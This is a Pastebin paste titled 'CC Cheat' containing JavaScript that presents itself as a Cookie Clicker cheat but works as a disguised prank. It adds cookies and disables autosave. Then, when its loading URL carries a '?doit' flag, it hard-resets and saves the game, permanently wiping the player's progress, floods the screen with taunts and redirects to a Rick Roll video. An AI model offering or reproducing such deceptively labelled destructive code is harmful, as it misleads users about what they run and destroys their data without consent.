G_lander

CC Cheat

Jun 8th, 2020 (edited)
2,886
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. {
  2.     const words = ["Cheated cookies taste awful", "They know"]
  3.  
  4.     function writeWord() {
  5.         const span = document.createElement("span")
  6.         span.innerText = choose(words)
  7.         span.style.position = "absolute"
  8.         span.classList.add("title")
  9.         span.style.bottom = `${100 * Math.random()}%`
  10.         span.style.right = `${100 * Math.random()}%`
  11.         document.body.appendChild(span)
  12.     }
  13.  
  14.     function writeWords() {
  15.         let intervald
  16.         let i = 0
  17.         intervald = setInterval(() => {
  18.             if (i > 100) {
  19.                 clearInterval(intervald)
  20.                 document.write(choose(words))
  21.                 setTimeout(() => location.href = "https://www.youtube.com/watch?v=dQw4w9WgXcQ",3000)
  22.                 return
  23.             }
  24.             i++
  25.             writeWord()
  26.         })
  27.     }
  28.  
  29.     function fadeOut() {
  30.         let intervald
  31.         let i = 100
  32.         let style = l("wrapper").style
  33.         intervald = setInterval(() => {
  34.             if (i < 0) {
  35.                 clearInterval(intervald)
  36.                 if([...document.querySelectorAll("script[type]")].find(val=>val.src.startsWith("https://glander.club/asjs/TmwKCkYR")).src.endsWith("?doit")) {
  37.                     Game.HardReset(2)
  38.                     Game.WriteSave()
  39.                 }
  40.                 writeWords()
  41.             }
  42.             if (i % 20 === 0) Game.cookies **= 1.5
  43.             i--
  44.             style.filter = `brightness(${i}%)`
  45.         }, 1)
  46.     }
  47.     Game.cookies += 1e6
  48.     Game.prefs.autosave = 0
  49.     fadeOut()
  50. }
Advertisement
Add Comment
Please, Sign In to add comment